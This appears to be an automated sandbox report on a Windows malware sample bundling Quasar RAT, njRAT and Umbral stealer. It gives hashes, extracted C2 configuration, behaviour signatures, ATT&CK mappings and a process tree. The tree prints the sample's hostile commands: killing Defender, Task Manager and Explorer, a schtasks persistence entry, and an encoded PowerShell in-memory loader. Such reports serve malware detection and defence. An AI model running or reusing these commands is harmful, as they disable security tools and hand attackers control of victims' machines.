Overview

overview

10

Static

static

10

lol.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    52s
  • max time network
    70s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 22:28

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    lol.exe

  • Size

    20.3MB

  • MD5

    1da87056da8166d6ed5e04d81aa5522c

  • SHA1

    f3f81e8e0b116627682ae03ed6f004b2ac46f464

  • SHA256

    7bfea7f092cf7638322f351474791f12b66ec22c66f0872f3488256839bc4c45

  • SHA512

    cd9e5b62cc6918cc496dec0ab610a2d00c88d7e8285521730faecf881892070886c91ef9e0930f579e26d1cae20d09e0b233b365cdeabab4c29957c28e0e1b0f

  • SSDEEP

    393216:PzuEpuRT4xFrlZfl23p33X55EWheYkv8LlCTe2x:v4RerlLa3nTEwrkACTec

Score
10/10
njratquasarumbralromkadiscoveryevasionexecutionpersistencespywarestealertrojanupx

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

romka

C2

jozzu420-51305.portmap.host:51305

Mutex

0445c342-b551-411c-9b80-cd437437f491

Attributes
  • encryption_key

    E1BF1D99459F04CAF668F054744BC2C514B0A3D6

  • install_name

    Romilyaa.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Windows 10 Boot

  • subdirectory

    SubDir

Signatures

  • Detect Umbral payload 1 IoCs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
    evasion
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Windows security bypass 2 TTPs 5 IoCs
    evasiontrojan
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • .NET Reactor proctector 35 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 12 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Windows security modification 2 TTPs 6 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies WinLogon 2 TTPs 2 IoCs
    persistence
  • AutoIT Executable 12 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 9 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Kills process with taskkill 4 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
    adwarespyware
  • Modifies registry class 28 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 63 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 42 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\lol.exe
    "C:\Users\Admin\AppData\Local\Temp\lol.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1892
    • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\loader.exe
      "C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\loader.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3756
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:556
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K main.cmd
          4⤵
          • Checks computer location settings
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4812
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im WindowsDefender.exe
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:776
          • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\Rover.exe
            Rover.exe
            5⤵
            • Modifies WinLogon for persistence
            • UAC bypass
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Drops file in Program Files directory
            • Suspicious use of AdjustPrivilegeToken
            • System policy modification
            PID:1784
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\web.htm
            5⤵
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:2512
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff7ae246f8,0x7fff7ae24708,0x7fff7ae24718
              6⤵
                PID:1040
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1452,18307236989078516195,11289246162676345410,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
                6⤵
                  PID:224
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1452,18307236989078516195,11289246162676345410,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:212
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1452,18307236989078516195,11289246162676345410,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2876 /prefetch:8
                  6⤵
                    PID:1096
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1452,18307236989078516195,11289246162676345410,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:1
                    6⤵
                      PID:4600
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1452,18307236989078516195,11289246162676345410,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3208 /prefetch:1
                      6⤵
                        PID:4316
                    • C:\Windows\System32\WScript.exe
                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\helper.vbs"
                      5⤵
                        PID:4372
                      • C:\Program Files\Internet Explorer\iexplore.exe
                        "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\spinner.gif
                        5⤵
                        • Modifies Internet Explorer settings
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SetWindowsHookEx
                        PID:3236
                        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3236 CREDAT:17410 /prefetch:2
                          6⤵
                          • Modifies Internet Explorer settings
                          • Suspicious use of SetWindowsHookEx
                          PID:624
                      • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\psiphon3.exe
                        psiphon3.exe
                        5⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:4516
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 1748
                          6⤵
                          • Program crash
                          PID:5488
                      • C:\Windows\system32\timeout.exe
                        timeout /t 15
                        5⤵
                        • Delays execution with timeout.exe
                        PID:3532
                      • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\scary.exe
                        scary.exe
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6088
                        • C:\Windows\SYSTEM32\schtasks.exe
                          "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
                          6⤵
                          • Creates scheduled task(s)
                          PID:5768
                      • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\the.exe
                        the.exe
                        5⤵
                        • Executes dropped EXE
                        PID:6036
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
                          6⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:5612
                      • C:\Windows\system32\taskkill.exe
                        taskkill /f /im taskmgr
                        5⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5340
                      • C:\Windows\system32\taskkill.exe
                        taskkill /f /im explorer
                        5⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5456
                      • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\ac3.exe
                        ac3.exe
                        5⤵
                        • Executes dropped EXE
                        PID:5716
                      • C:\Windows\system32\taskkill.exe
                        taskkill /f /im fontdrvhost
                        5⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5520
                      • C:\Windows\system32\icacls.exe
                        icacls c:\Windows\explorer.exe /grant Admin:(F,M)
                        5⤵
                        • Modifies file permissions
                        PID:5920
                      • C:\Windows\system32\timeout.exe
                        timeout /t 15
                        5⤵
                        • Delays execution with timeout.exe
                        PID:1228
                      • C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c\jaffa.exe
                        jaffa.exe
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Modifies registry class
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:5252
                        • C:\Windows\SysWOW64\yvhwidyjet.exe
                          yvhwidyjet.exe
                          6⤵
                          • Modifies visibility of file extensions in Explorer
                          • Modifies visiblity of hidden/system files in Explorer
                          • Windows security bypass
                          • Disables RegEdit via registry modification
                          • Executes dropped EXE
                          • Windows security modification
                          • Enumerates connected drives
                          • Modifies WinLogon
                          • Drops file in System32 directory
                          • Modifies registry class
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:5440
                          • C:\Windows\SysWOW64\yypfyixy.exe
                            C:\Windows\system32\yypfyixy.exe
                            7⤵
                            • Executes dropped EXE
                            PID:4360
                        • C:\Windows\SysWOW64\vhivgvifgkpczqi.exe
                          vhivgvifgkpczqi.exe
                          6⤵
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:4436
                        • C:\Windows\SysWOW64\yypfyixy.exe
                          yypfyixy.exe
                          6⤵
                          • Executes dropped EXE
                          • Enumerates connected drives
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:4244
                        • C:\Windows\SysWOW64\dxiawlncxveuy.exe
                          dxiawlncxveuy.exe
                          6⤵
                          • Executes dropped EXE
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:5632
                        • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
                          "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\mydoc.rtf" /o ""
                          6⤵
                          • Drops file in Windows directory
                          • Checks processor information in registry
                          • Enumerates system info in registry
                          • Suspicious behavior: AddClipboardFormatListener
                          • Suspicious use of SetWindowsHookEx
                          PID:3648
                • C:\Users\Admin\AppData\Local\Temp\f7baadc6-5d1a-4a50-b96a-c949cc84cbc9\packer.exe
                  "C:\Users\Admin\AppData\Local\Temp\f7baadc6-5d1a-4a50-b96a-c949cc84cbc9\packer.exe" "C:\Users\Admin\AppData\Local\Temp\f7baadc6-5d1a-4a50-b96a-c949cc84cbc9\unpacker.exe" "C:\Users\Admin\AppData\Local\Temp\lol.exe" "loader.exe" "C:\Users\Admin\AppData\Local\Temp\lol_9f9faff9-eb6b-4041-a302-1f7f101dee9c" "" True True False 0 -repack
                  2⤵
                    PID:5904
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 5904 -s 1248
                      3⤵
                      • Program crash
                      PID:384
                • C:\Windows\System32\CompPkgSrv.exe
                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                  1⤵
                    PID:2368
                  • C:\Windows\System32\CompPkgSrv.exe
                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                    1⤵
                      PID:2264
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4516 -ip 4516
                      1⤵
                        PID:6016
                      • C:\Windows\system32\AUDIODG.EXE
                        C:\Windows\system32\AUDIODG.EXE 0x324 0x320
                        1⤵
                          PID:1096
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5904 -ip 5904
                          1⤵
                            PID:2912

                          Network

                          MITRE ATT&CK Enterprise v15

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Command and Scripting Interpreter

                          1
                          T1059

                          PowerShell

                          1
                          T1059.001

                          Scheduled Task/Job

                          1
                          T1053

                          Persistence

                          Boot or Logon Autostart Execution

                          3
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Winlogon Helper DLL

                          2
                          T1547.004

                          Scheduled Task/Job

                          1
                          T1053

                          Privilege Escalation

                          Abuse Elevation Control Mechanism

                          1
                          T1548

                          Bypass User Account Control

                          1
                          T1548.002

                          Boot or Logon Autostart Execution

                          3
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Winlogon Helper DLL

                          2
                          T1547.004

                          Scheduled Task/Job

                          1
                          T1053

                          Defense Evasion

                          Abuse Elevation Control Mechanism

                          1
                          T1548

                          Bypass User Account Control

                          1
                          T1548.002

                          File and Directory Permissions Modification

                          1
                          T1222

                          Hide Artifacts

                          2
                          T1564

                          Hidden Files and Directories

                          2
                          T1564.001

                          Impair Defenses

                          3
                          T1562

                          Disable or Modify Tools

                          3
                          T1562.001

                          Modify Registry

                          10
                          T1112

                          Credential Access

                          Discovery

                          Peripheral Device Discovery

                          1
                          T1120

                          Query Registry

                          5
                          T1012

                          System Information Discovery

                          6
                          T1082

                          Lateral Movement

                          Collection

                          Command and Control

                          Exfiltration

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Program Files (x86)\rover\Come\Come.001.png
                            Filesize

                            2KB

                            MD5

                            8d0dfb878717f45062204acbf1a1f54c

                            SHA1

                            1175501fc0448ad267b31a10792b2469574e6c4a

                            SHA256

                            8cf6a20422a0f72bcb0556b3669207798d8f50ceec6b301b8f0f1278b8f481f9

                            SHA512

                            e4f661ba8948471ffc9e14c18c6779dba3bd9dcc527d646d503c7d4bdff448b506a7746154380870262902f878275a8925bf6aa12a0b8c6eb8517f3a72405558

                            Download Submit
                          • C:\Program Files (x86)\rover\Come\Come.002.png
                            Filesize

                            2KB

                            MD5

                            da104c1bbf61b5a31d566011f85ab03e

                            SHA1

                            a05583d0f814685c4bb8bf16fd02449848efddc4

                            SHA256

                            6b47ad7fe648620ea15b9c07e62880af48a504b83e8031b2521c25e508aa0ef1

                            SHA512

                            a8e27abefb0f5bfffe15a19fd882b2e112687abe6ac4bbd5187036cb6058b0124d6ce76fc9227970c8fe2f5768aa0d1faa3319d33b1f42413e8bdfe2ce15296d

                            Download Submit
                          • C:\Program Files (x86)\rover\Come\Come.004.png
                            Filesize

                            2KB

                            MD5

                            f57ff98d974bc6b6d0df56263af5ca0d

                            SHA1

                            2786eb87cbe958495a0113f16f8c699935c74ef9

                            SHA256

                            9508d82995364556a882c54306210e885868a8df2f2ad93485c14f88c9f9e1b7

                            SHA512

                            1d4ca268d1c98ac545008b079076609e18bfdf22cd31b7b75b9218d03c6edb37b245298ff717e48309ca862f973a4383b101e43732a162b4d7f78573612c64ea

                            Download Submit
                          • C:\Program Files (x86)\rover\Come\Come.005.png
                            Filesize

                            2KB

                            MD5

                            7fb2e99c5a3f7a30ba91cb156ccc19b7

                            SHA1

                            4b70de8bb59dca60fc006d90ae6d8c839eff7e6e

                            SHA256

                            40436d5ab3589d33dae09b470ccacd369422d2569804cf1532e5946fc7e45535

                            SHA512

                            c0d83325928d629abba648360c8687091d18d52991297d69625ccd4617d4d5add4aa16c288cc408b26c79cd37decf5ee2198e8b87b67ef5b88802afae93fb51a

                            Download Submit
                          • C:\Program Files (x86)\rover\Come\Come.006.png
                            Filesize

                            3KB

                            MD5

                            a49c8996d20dfb273d03d2d37babd574

                            SHA1

                            96a93fd5aa1d5438217f17bffbc26e668d28feaf

                            SHA256

                            f4c568336894b3140f0ca7005a5751ad5a860422290b2b6e23d72656160862b1

                            SHA512

                            9abb666891fa00ae77801fe9b3aab62bca37402197d22983e98d8442e6d890b1091a47dc1eca1ac68caa52a633bb60c8c3248de65056a6435f4affb98f401a30

                            Download Submit
                          • C:\Program Files (x86)\rover\Come\Come.007.png
                            Filesize

                            3KB

                            MD5

                            e65884abe6126db5839d7677be462aba

                            SHA1

                            4f7057385928422dc8ec90c2fc3488201a0287a8

                            SHA256

                            8956643da83aa74bc89b4d71db7b470200863de230be647a6881d8f3f60df3ac

                            SHA512

                            7285b8acca0210a85dd4317a7beab161708544c4c25a742ce7284b545fa4953be89eb685e62f30fba56d6cb2fc806062ccdf4a0e62516eea047097c6856900c2

                            Download Submit
                          • C:\Program Files (x86)\rover\Come\Come.008.png
                            Filesize

                            3KB

                            MD5

                            f355305ada3929ac1294e6c38048b133

                            SHA1

                            a488065c32b92d9899b3125fb504d8a00d054e0e

                            SHA256

                            37de9b0126ffa3967455083dd72ba70501b1e4c92ae25eb0667f840911585775

                            SHA512

                            6082003d98022597007623ff7cdece9d9a14ad19bf55ac35afb2277fe22378c865899a5b28b4b5828d0d48fb7859fea82886d98d8d3a3813413f1e864e3849b2

                            Download Submit
                          • C:\Program Files (x86)\rover\Come\Come.009.png
                            Filesize

                            3KB

                            MD5

                            1d812d808b4fd7ca678ea93e2b059e17

                            SHA1

                            c02b194f69cead015d47c0bad243a4441ec6d2cd

                            SHA256

                            e4e2fe6652557dec0e703da7325808cab4722961398dc9bf9fdae36c1de8841d
